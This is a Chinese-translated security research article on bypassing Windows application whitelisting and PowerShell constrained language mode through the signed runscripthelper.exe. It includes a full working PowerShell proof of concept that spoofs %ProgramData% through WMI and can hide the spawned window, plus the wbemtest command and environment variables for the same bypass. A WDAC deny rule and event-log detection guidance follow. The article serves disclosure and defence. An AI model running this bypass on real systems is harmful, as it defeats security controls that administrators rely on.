【技术分享】如何利用runscripthelper.exe绕过应用程序白名单机制

http://p2.qhimg.com/t017c7231e432f80eff.png

译者:興趣使然的小胃

预估稿费:200RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿

一、简介

在实践PowerShell课程中的某个实验时,我偶然发现了System32目录下存在一个PowerShell宿主进程,该程序为runscripthelper.exe,经过微软的签名。Windows 10 RS3系统中刚刚引入这个程序,其功能是从特定目录读取PowerShell代码并加以执行。这种执行PowerShell代码的方式有一些副作用,我们可以借此绕过受限语言模式的限制。

反编译runscripthelper.exe后,其入口点如下所示:

private static int Main(string[] args)
{
 try
 {
  if (args.Length != 3)
  {
   throw new Exception("Invalid command line");
  }
  string text = args[0];
  string text2 = args[1];
  string text3 = args[2];
  if (string.IsNullOrEmpty(text2) || string.IsNullOrEmpty(text2) || string.IsNullOrEmpty(text3))
  {
   throw new Exception("Invalid args");
  }
  if (!Program.k_scriptSet.Contains(text))
  {
   throw new Exception("Unknown script");
  }
  string text4 = Environment.ExpandEnvironmentVariables(Program.k_utcScriptPath);
  if (text2.Length <= text4.Length || !text4.Equals(text2.Substring(0, text4.Length), StringComparison.OrdinalIgnoreCase))
  {
   throw new Exception("Unknown script path: " + text2);
  }
  text2 = Program.GetShortPath(text2);
  text3 = Program.GetShortPath(text3);
  if (text.CompareTo("surfacecheck") == 0)
  {
   SurfaceCheckProcessor.ProcessSurfaceCheckScript(text2, text3);
  }
 }
 catch (Exception ex)
 {
  Console.WriteLine("Exception occurred: " + ex.Message);
  Console.WriteLine("Inner Exception: " + ex.InnerException);
  return -1;
 }
 return 0;
}

如你所见, 该程序接受三个命令行参数:

1、参数#1必须与"surfacecheck"字符串匹配,才能执行ProcessSurfaceCheckScript方法,这个方法会接收传入的第2及第3个参数。

2、参数#2包含待执行脚本的完整路径,并且会跟“k_utcScriptPath”全局变量进行比较(“k_utcScriptPath”这个环境变量展开后为“\?%ProgramData%MicrosoftDiagnosisscripts”)。

3、参数#3为一个已有目录的具体路径,命令输出结果会保存到该目录。

根据上述代码,待执行的脚本似乎必须位于%ProgramData%MicrosoftDiagnosisscripts目录中。默认情况下(至少在我当前系统下),普通用户不具备对该目录的写入权限。而理想情况下,我更希望能以非特权用户身份来绕过受限环境。因此,如果我能在runscripthelper.exe启动时以某种方式控制%ProgramData%的内容,我应该可以让该程序从可控的目录中执行脚本。待会我们再回到这个主题,现在我们可以先分析一下ProcessSurfaceCheckScript方法,看看它执行的是哪些内容:

public static void ProcessSurfaceCheckScript(string scriptPath, string outputPath)
{
 if (!File.Exists(scriptPath))
 {
  throw new Exception("Script does not exist");
 }
 if (!Directory.Exists(outputPath))
 {
  throw new Exception("Output path does not exist");
 }
 PowerShell powerShell = PowerShell.Create();
 powerShell.AddScript("Set-ExecutionPolicy -Scope Process unrestricted");
 powerShell.AddScript("$InvokedFromUIF = $true");
 powerShell.AddScript("$FailureText = "UIF"");
 powerShell.AddScript("$ScriptPath = "" + Path.GetDirectoryName(scriptPath) + """);
 powerShell.AddScript("$LogDir = "" + outputPath + """);
 SurfaceCheckProcessor.ReadCmdlets(powerShell, scriptPath);
 string script = File.ReadAllText(scriptPath);
 powerShell.AddScript(script);
 powerShell.Invoke();
 if (powerShell.HadErrors)
 {
  foreach (ErrorRecord current in powerShell.Streams.Error)
  {
   Console.WriteLine("Error: " + current);
   Console.WriteLine("Exception: " + current.Exception);
   Console.WriteLine("Inner Exception: " + current.Exception.InnerException);
  }
 }
}

因此,从代码表面上来看,ProcessSurfaceCheckScript方法的功能是读取脚本的内容并加以执行(顺便提一下,该方法并不在意脚本的文件扩展名)。在运行AppLocker或者Device Guard的系统上(现在Device Guard已改名为Windows Defender Application control),由于程序的发布者为微软,因此该程序很有可能会被添加到白名单中,该进程中执行的任何PowerShell代码都会以全语言模式(full language mode)执行,因此攻击者可以绕过受限语言模式的限制。


二、利用方法

作为一名攻击者,我们需要控制%ProgramData%的内容,将其指向我们能控制的某个目录。想完成这个任务可以有多种方法,我所知道的一种方法就是在调用Win32进程创建函数时,设置Win32_ProcessStartup类实例中的EnvironmentVariables属性。此外,WMI还提供了远程调用功能,这个功能有许多好处,并且有几个WMI宿主应用不大可能会被应用白名单机制所阻拦。与此同时,如果你没有传入程序预期的许多环境变量,许多子进程就无法正常加载。

成功控制传递给runscripthelper.exe的环境变量后,我们可以使用如下命令来执行我们的载荷:

runscripthelper.exe surfacecheck \?C:TestMicrosoftDiagnosisscriptstest.txt C:Test

能够绕过限制机制的完整PowerShell代码如下所示:

function Invoke-RunScriptHelperExpression {
<#
.SYNOPSIS
Executes PowerShell code in full language mode in the context of runscripthelper.exe.
.DESCRIPTION
Invoke-RunScriptHelperExpression executes PowerShell code in the context of runscripthelper.exe - a Windows-signed PowerShell host application which appears to be used for telemetry collection purposes. The PowerShell code supplied will run in FullLanguage mode and bypass constrained language mode.
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
.PARAMETER ScriptBlock
Specifies the PowerShell code to execute in the context of runscripthelper.exe
.PARAMETER RootDirectory
Specifies the root directory where the "MicrosoftDiagnosisscripts" directory structure will be created. -RootDirectory defaults to the current directory.
.PARAMETER ScriptFileName
Specifies the name of the PowerShell script to be executed. The script file can be any file extension. -ScriptFileName defaults to test.txt.
.PARAMETER HideWindow
Because Invoke-RunScriptHelperExpression launches a child process in a new window (due to how Win32_Process.Create works), -HideWindow launches a hidden window.
.EXAMPLE
$Payload = {
    # Since this is running inside a console app,
    # you need the Console class to write to the screen.
    [Console]::WriteLine('Hello, world!')
    $LanguageMode = $ExecutionContext.SessionState.LanguageMode
    [Console]::WriteLine("My current language mode: $LanguageMode")
    # Trick to keep the console window up
    $null = [Console]::ReadKey()
}
Invoke-RunScriptHelperExpression -ScriptBlock $Payload
.OUTPUTS
System.Diagnostics.Process
Outputs a process object for runscripthelper.exe. This is useful if it later needs to be killed manually with Stop-Process.
#>
    [CmdletBinding()]
    [OutputType([System.Diagnostics.Process])]
    param (
        [Parameter(Mandatory = $True)]
        [ScriptBlock]
        $ScriptBlock,
        [String]
        [ValidateNotNullOrEmpty()]
        $RootDirectory = $PWD,
        [String]
        [ValidateNotNullOrEmpty()]
        $ScriptFileName = 'test.txt',
        [Switch]
        $HideWindow
    )
    $RunscriptHelperPath = "$Env:windirSystem32runscripthelper.exe"
    # Validate that runscripthelper.exe is present
    $null = Get-Item -Path $RunscriptHelperPath -ErrorAction Stop
    # Optional: Since not all systems will have runscripthelper.exe, you could compress and
    # encode the binary here and then drop it. That's up to you. This is just a PoC.
    $ScriptDirFullPath = Join-Path -Path (Resolve-Path -Path $RootDirectory) -ChildPath 'MicrosoftDiagnosisscripts'
    Write-Verbose "Script will be saved to: $ScriptDirFullPath"
    # Create the directory path expected by runscripthelper.exe
    if (-not (Test-Path -Path $ScriptDirFullPath)) {
        $ScriptDir = mkdir -Path $ScriptDirFullPath -ErrorAction Stop
    } else {
        $ScriptDir = Get-Item -Path $ScriptDirFullPath -ErrorAction Stop
    }
    $ScriptFullPath = "$ScriptDirFullPath$ScriptFileName"
    # Write the payload to disk - a requirement of runscripthelper.exe
    Out-File -InputObject $ScriptBlock.ToString() -FilePath $ScriptFullPath -Force
    $CustomProgramFiles = "ProgramData=$(Resolve-Path -Path $RootDirectory)"
    Write-Verbose "Using the following for %ProgramData%: $CustomProgramFiles"
    # Gather up all existing environment variables except %ProgramData%. We're going to supply our own, attacker controlled path.
    [String[]] $AllEnvVarsExceptLockdownPolicy = Get-ChildItem Env:* -Exclude 'ProgramData' | % { "$($_.Name)=$($_.Value)" }
    
    # Attacker-controlled %ProgramData% being passed to the child process.
    $AllEnvVarsExceptLockdownPolicy += $CustomProgramFiles
    # These are all the environment variables that will be explicitly passed on to runscripthelper.exe
    $StartParamProperties = @{ EnvironmentVariables = $AllEnvVarsExceptLockdownPolicy }
    $Hidden = [UInt16] 0
    if ($HideWindow) { $StartParamProperties['ShowWindow'] = $Hidden }
    $StartParams = New-CimInstance -ClassName Win32_ProcessStartup -ClientOnly -Property $StartParamProperties
    $RunscriptHelperCmdline = "$RunscriptHelperPath surfacecheck \?$ScriptFullPath $ScriptDirFullPath"
    Write-Verbose "Invoking the following command: $RunscriptHelperCmdline"
    # Give runscripthelper.exe what it needs to execute our malicious PowerShell.
    $Result = Invoke-CimMethod -ClassName Win32_Process -MethodName Create -Arguments @{
        CommandLine = $RunscriptHelperCmdline
        ProcessStartupInformation = $StartParams
    }
    if ($Result.ReturnValue -ne 0) {
        throw "Failed to start runscripthelper.exe"
        return
    }
    $Process = Get-Process -Id $Result.ProcessId
    $Process
    # When runscripthelper.exe exits, clean up the script and the directories.
    # I'm using proper eventing here because if you immediately delete the script from
    # disk then it will be gone before runscripthelper.exe has an opportunity to execute it.
    $Event = Register-ObjectEvent -InputObject $Process -EventName Exited -SourceIdentifier 'RunscripthelperStopped' -MessageData "$RootDirectoryMicrosoft" -Action {
        Remove-Item -Path $Event.MessageData -Recurse -Force
        Unregister-Event -SourceIdentifier $EventSubscriber.SourceIdentifier
    }
}

不使用PowerShell我们也能绕过应用程序白名单机制,比如,我们可以使用wbemtest.exe(该程序为WQL测试工具)完成这个任务,演示视频如下:

在wbemtest.exe这个例子中,我的载荷存放在C:TestMicrosoftDiagnosisscriptstest.txt中。此外,我所使用的环境变量如下所示:

“LOCALAPPDATA=C:\Test”
“Path=C:\WINDOWS\system32;C:\WINDOWS”
“SystemRoot=C:\WINDOWS”
“SESSIONNAME=Console”
“CommonProgramFiles=C:\Program Files\Common Files”
“SystemDrive=C:”
“TEMP=C:\Test”
“ProgramFiles=C:\Program Files”
“TMP=C:\Test”
“windir=C:\WINDOWS”
“ProgramData=C:\Test”


三、防御措施

如果使用的是Device Guard(现在是Windows Defender Application Control),你可以在已有的策略中添加如下规则来阻止这个二进制文件,可参考此链接了解添加规则的具体步骤:

<?xml version="1.0" encoding="utf-8"?>
<SiPolicy xmlns="urn:schemas-microsoft-com:sipolicy">
  <VersionEx>10.0.0.0</VersionEx>
  <PolicyTypeID>{A244370E-44C9-4C06-B551-F6016E563076}</PolicyTypeID>
  <PlatformID>{2E07F7E4-194C-4D20-B7C9-6F44A6C5A234}</PlatformID>
  <Rules>
    <Rule>
      <Option>Enabled:Unsigned System Integrity Policy</Option>
    </Rule>
  </Rules>
  <!--EKUS-->
  <EKUs />
  <!--File Rules-->
  <FileRules>
    <Deny ID="ID_DENY_D_1" FriendlyName="runscripthelper.exe FileRule" FileName="runscripthelper.exe" MinimumFileVersion="65535.65535.65535.65535" />
  </FileRules>
  <!--Signers-->
  <Signers />
  <!--Driver Signing Scenarios-->
  <SigningScenarios>
    <SigningScenario Value="12" ID="ID_SIGNINGSCENARIO_WINDOWS" FriendlyName="runscripthelper.exe bypass mitigation">
      <ProductSigners>
        <FileRulesRef>
          <FileRuleRef RuleID="ID_DENY_D_1" />
        </FileRulesRef>
      </ProductSigners>
    </SigningScenario>
  </SigningScenarios>
  <UpdatePolicySigners />
  <CiSigners />
  <HvciOptions>0</HvciOptions>
</SiPolicy>


四、如何检测

与其他PowerShell宿主进程一样,在脚本块(scriptblock)日志中会记录通过runscripthelper.exe执行PowerShell代码的动作,对应的事件为4014事件

https://p4.ssl.qhimg.com/t0139cb0c07f09f6fd1.png

此外,“Windows PowerShell”日志中的400事件也会捕捉到runscripthelper.exe所对应的命令行上下文信息。

https://p1.ssl.qhimg.com/t012724f10b65c43f52.png

五、何为runscripthelper.exe

什么是runscripthelper.exe?该文件中的如下字符串引起了我的注意:

InvokedFromUIF
k_utcScriptPath

Google一番后,我发现UIF代表“User Initiated Feedback(用户发起的反馈)”,而UTF代表“Unified Telemetry Client(统一遥测客户端)”。因此从字面上看,这个二进制文件是某种远程数据收集程序。为了避免微软向我的电脑推送并执行未经签名的PowerShell代码(并且这些代码很可能没有任何质量保证),我非常乐意在Device Guard代码完整性策略中阻止这个二进制程序的运行。


六、总结

因此,本文分析的这个签名应用可以被攻击者恶意滥用,经过进一步分析,我们发现系统并没有限制这类程序的使用场景,因为每次Windows发布新版时都会引入新的应用程序。这个事实也再次证实应用白名单(application whitelisting,AWL)仍然面临许多难题,其中一个基本的难题就是,如果我们想让一个可启动的、实用的系统保持最新状态,我们往往需要将经过微软签名的任何代码列入白名单中。这种决策会带来一些副作用,如果某些人在白名单维护方面态度非常严格,那么他们就需要实时关注像本文之类的文章,相应地更新黑名单规则。在白名单机制的基础上,使用这种黑名单规则可以取得很好的效果。然而想要维护这样一个黑名单并不是一件容易的事情,因为这个名单随着时间的推进会不断增长。需要明确的是,这一点并不是AWL的缺陷,只能算是AWL面临的一个挑战。我个人也会使用AWL,对这种机制的有效性也十分满意。绝大多数攻击者仍然会使用不可信的脚本或程序,在这种场景中,即使最基本的白名单策略应付起来也能游刃有余。

把AWL的事先放在一边不谈,单凭这类程序,攻击者就可以隐藏在良性的、“可信的”应用程序背后。因此,通过这个例子,我们需要总结出一个道理:白名单绕过技术是攻击者在后续攻击过程中的一大帮手,无论AWL机制是否存在,我们都应该对此有所警觉。

最后说一下,如果有人偶然发现微软向runscriphelper.exe推送了任何PowerShell代码,请上传这段代码并及时告诉我,不胜感激!

(完)